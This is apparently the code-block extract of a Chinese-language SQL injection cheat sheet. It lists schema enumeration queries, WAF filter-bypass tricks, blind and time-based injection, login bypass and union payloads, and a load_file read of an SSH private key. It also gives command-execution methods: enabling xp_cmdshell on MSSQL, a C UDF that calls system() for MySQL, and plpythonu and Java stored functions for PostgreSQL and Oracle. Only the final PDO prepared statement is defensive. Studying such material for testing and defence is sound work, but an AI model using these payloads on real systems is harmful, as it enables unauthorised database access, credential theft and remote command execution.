1
数据库引擎 -> 数据库 (Database) -> 数据表 (Table) -> 字段/列 (Column) -> 具体数据行 (Row/Data)

1
SELECT group_concat(schema_name) FROM information_schema.schemata

1
SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'

1
SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema='security'
2

3
//table_schema='security'，是为了防止其它数据库中也有同名的user表

1
SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata);

1
SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata;

1
%0D Carriage Return，回车 代替空格
2
%0A Line Feed，换行 代替空格
3
%0C Form Feed，换页 代替空格
4
%09 Horizontal Tab，水平制表 代替空格
5
%0B Vertical Tab，垂直制表 代替空格
6
%A0 Non-breaking space (MySQL only)，不间断空格 代替空格

1
SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`;

1
SELECT 0x616263;  #SELECT 'abc'

1
SELECT * FROM (SELECT 1) AS a JOIN (SELECT 2) AS b JOIN (SELECT 3) AS c;
2
#select 1,2,3;

1
SELECT SUBSTRING(DATABASE() FROM 1 FOR 1);
2
#SUBSTRING(DATABASE(), 1, 1)
3

4
SELECT SUBSTR(DATABASE() FROM 1 FOR 1);
5
#SELECT SUBSTR(DATABASE(), 1, 1);
6

7
SELECT MID(DATABASE() FROM 1 FOR 1);
8
#SELECT MID(DATABASE(), 1, 1);

1
SELECT * FROM users LIMIT 1 OFFSET 0;
2
#LIMIT 0, 1

1
SELECT DATABASE() LIKE 's%'
2
/*
3
等价于 SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115;
4

5
s% 是一个模式字符串，其中 % 是通配符
6
% 表示任意数量的字符（包括零个字符）
7
s% 匹配所有以 s 开头的字符串，不论其后有多少字符
8
*/

1
LIKE 'u%'：匹配以 u 开头的所有字符串。
2
LIKE '%123'：匹配以 123 结尾的所有字符串。
3
LIKE '_b%'：匹配第二个字符是 b 的所有字符串（如 ab123、cb_test）。
4
LIKE 't__t'：匹配 t 开头、接两个字符、然后是 t 的字符串（如 test）

1
SELECT 'abc' REGEXP 'A';       -- 返回 1 (不区分大小写)
2
SELECT BINARY 'abc' REGEXP 'A'; -- 返回 0 (严格区分大小写后不匹配)
3
SELECT BINARY DATABASE() REGEXP '^s'; -- 判断数据库名是否以小写 s 开头

1
-- 是 115 则返回 1，否则返回 0
2
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) IN (115);

1
 -- 落在 115 到 115 之间（即等于 115）则返回 1，否则返回 0
2
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) BETWEEN 115 AND 115;

1
-- 只要不等于 115 就返回 1，反之如果是 115 则返回 0
2
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) <> 115;

1
and  &&
2
or   ||
3
not  !
4
xor  |

1
-- 假设 database() 为 "security"，第一个字母的 ASCII 码为 115 (即 's')
2

3
-- 场景 A：条件为真。因为前一个表达式成立，MySQL 不会执行后面的 SLEEP(1)
4
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=115 || SLEEP(1);
5

6
-- 场景 B：条件为假。因为前一个表达式不成立，程序必须执行后一个表达式才能确定整体的真假，从而触发了 SLEEP(1)，导致页面延时
7
SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))=114 || SLEEP(1);

1
-- 条件为真，返回 1
2
SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END;
3

4
-- 条件为假，返回 2
5
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END;
6

7
-- 结合盲注使用：如果库名长度大于5，则延时3秒，否则不延时
8
SELECT CASE WHEN LENGTH(DATABASE())>5 THEN SLEEP(3) ELSE 1 END;

1
-- 假设数据库名长度确实大于 3，条件为真返回 1。
2
-- ELT 会去执行并返回列表中第 1 个参数，也就是 SLEEP(3)，从而触发延时。
3
SELECT ELT((LENGTH(DATABASE())>3), SLEEP(3));

1
union ->  UnIoN
2
select ->  sElEcT

1
union -> uniunionon
2
select -> selselectect

1
UNION SELECT -> 替换为 UNION ALL SELECT 或 UNION DISTINCT SELECT
2
AND / OR -> 替换为 && / ||

1
UNION SELECT -> 替换为 /*!UNION*/SELECT
2
UNION SELECT -> 替换为 UNION/*!SELECT*/
3
UNION SELECT -> 替换为 /*!50000UNION*//**//*!50000SELECT*/

1
插入普通注释：UNION/**/SELECT
2
插入不可见字符：UNION%0ASELECT (利用换行打断)、UNION(%0B)SELECT

1
mysql> select * from mysql.innodb_table_stats;
2
+---------------+-----------------+---------------------+--------+----------------------+--------------------------+
3
| database_name | table_name      | last_update         | n_rows | clustered_index_size | sum_of_other_index_sizes |
4
+---------------+-----------------+---------------------+--------+----------------------+--------------------------+
5
| bookmanage    | book            | 2024-11-08 16:57:53 |    100 |                    1 |                        0 |
6
| bookmanage    | person          | 2024-11-08 16:57:43 |    103 |                    1 |                        0 |
7
| bookmanage    | record          | 2024-11-08 16:58:04 |    100 |                    1 |                        0 |
8
| mysql         | component       | 2024-07-29 00:04:12 |      0 |                    1 |                        0 |
9
| sakila        | actor           | 2024-07-29 00:05:44 |    200 |                    1 |                        1 |
10
| sakila        | address         | 2024-07-29 00:04:52 |    603 |                    6 |                        1 |
11
| sakila        | category        | 2024-07-29 00:04:52 |     16 |                    1 |                        0 |
12
| sakila        | city            | 2024-07-29 00:04:52 |    600 |                    3 |                        1 |
13
| sakila        | country         | 2024-07-29 00:04:52 |    109 |                    1 |                        0 |
14
| sakila        | customer        | 2024-07-29 00:04:52 |    599 |                    5 |                        3 |
15
| sakila        | film            | 2024-07-29 00:04:52 |   1000 |                   12 |                        5 |
16
| sakila        | film_actor      | 2024-07-29 00:04:52 |   5462 |                   12 |                        5 |
17
| sakila        | film_category   | 2024-07-29 00:04:53 |   1000 |                    4 |                        1 |
18
| sakila        | film_text       | 2024-07-29 00:04:52 |   1000 |                   11 |                        1 |
19
| sakila        | inventory       | 2024-07-29 00:04:53 |   4581 |                   11 |                       12 |
20
| sakila        | language        | 2024-07-29 00:04:53 |      6 |                    1 |                        0 |
21
| sakila        | payment         | 2024-07-29 00:04:54 |  16500 |                   97 |                       39 |
22
| sakila        | rental          | 2024-07-29 00:05:04 |  15423 |                   97 |                       73 |
23
| sakila        | staff           | 2024-07-29 00:05:14 |      2 |                    4 |                        2 |
24
| sakila        | store           | 2024-07-29 00:05:24 |      2 |                    1 |                        2 |
25
| sys           | sys_config      | 2024-07-29 00:04:13 |      6 |                    1 |                        0 |
26
| world         | city            | 2024-07-29 00:05:34 |   4035 |                   25 |                        7 |
27
| world         | country         | 2024-07-29 00:05:54 |    239 |                    7 |                        0 |
28
| world         | countrylanguage | 2024-07-29 00:06:04 |    984 |                    6 |                        4 |
29
+---------------+-----------------+---------------------+--------+----------------------+--------------------------+
30
24 rows in set (0.00 sec)

1
username=admin'OR&passwd=OR'

1
SELECT id FROM users WHERE username='admin'OR' AND passwd='OR'' LIMIT 0,1;

1
 ?id=1' or '1'='1

1
?id=-1' union select 1,2,database() '
2
?id=-1' union select 1,database(),3 or '1'='1

1
?id=-1' union select 1,database(),3;%00

1
-- SELECT username FROM users;
2
SELECT char(117,115,101,114,110,97,109,101) FROM users;
3
SELECT 0x757365726e616d65 FROM users;

1
SELECT {a DATABASE()};

1
benchmark() => sleep()
2
hex() bin() => ascii()
3
concat() concat_ws() => group_concat()
4
substr() mid() left() right() elt() => substring()
5
char_length() => length()

1
' UNION SELECT load_file('/.ssh/id_rsa') #

1
EXEC sp_configure 'show advanced options', 1;
2
RECONFIGURE;
3
EXEC sp_configure 'xp_cmdshell', 1;
4
RECONFIGURE;

1
EXEC xp_cmdshell 'whoami';

1
#include <stdlib.h>
2
#include <my_global.h>
3
#include <my_sys.h>
4
#include <mysql.h>
5

6
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
7
    return 0;
8
}
9

10
void sys_exec_deinit(UDF_INIT *initid) {}
11

12
long long sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
13
    if (args->arg_count != 1) return 0;
14
    system(args->args[0]);
15
    return 1;
16
}

1
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'malicious_udf.so';

1
SELECT sys_exec('whoami');

1
CREATE EXTENSION IF NOT EXISTS plpythonu;

1
CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS void AS $$
2
import os
3
os.system(cmd)
4
$$ LANGUAGE plpythonu;

1
SELECT exec_cmd('whoami');

1
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "CmdExec" AS
2
import java.io.*;
3
public class CmdExec {
4
    public static String runCmd(String cmd) throws IOException {
5
        Process proc = Runtime.getRuntime().exec(cmd);
6
        InputStream in = proc.getInputStream();
7
        BufferedReader reader = new BufferedReader(new InputStreamReader(in));
8
        StringBuilder output = new StringBuilder();
9
        String line;
10
        while ((line = reader.readLine()) != null) {
11
            output.append(line);
12
        }
13
        return output.toString();
14
    }
15
};

1
CREATE OR REPLACE FUNCTION exec_cmd(cmd VARCHAR2) RETURN VARCHAR2 AS
2
LANGUAGE JAVA NAME 'CmdExec.runCmd(java.lang.String) return java.lang.String';

1
SELECT exec_cmd('whoami') FROM dual;

1
// 1. 准备骨架 (用 ? 占位)
2
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?');
3
// 2. 传入数据执行
4
$stmt->execute([$_POST['user'], $_POST['pass']]);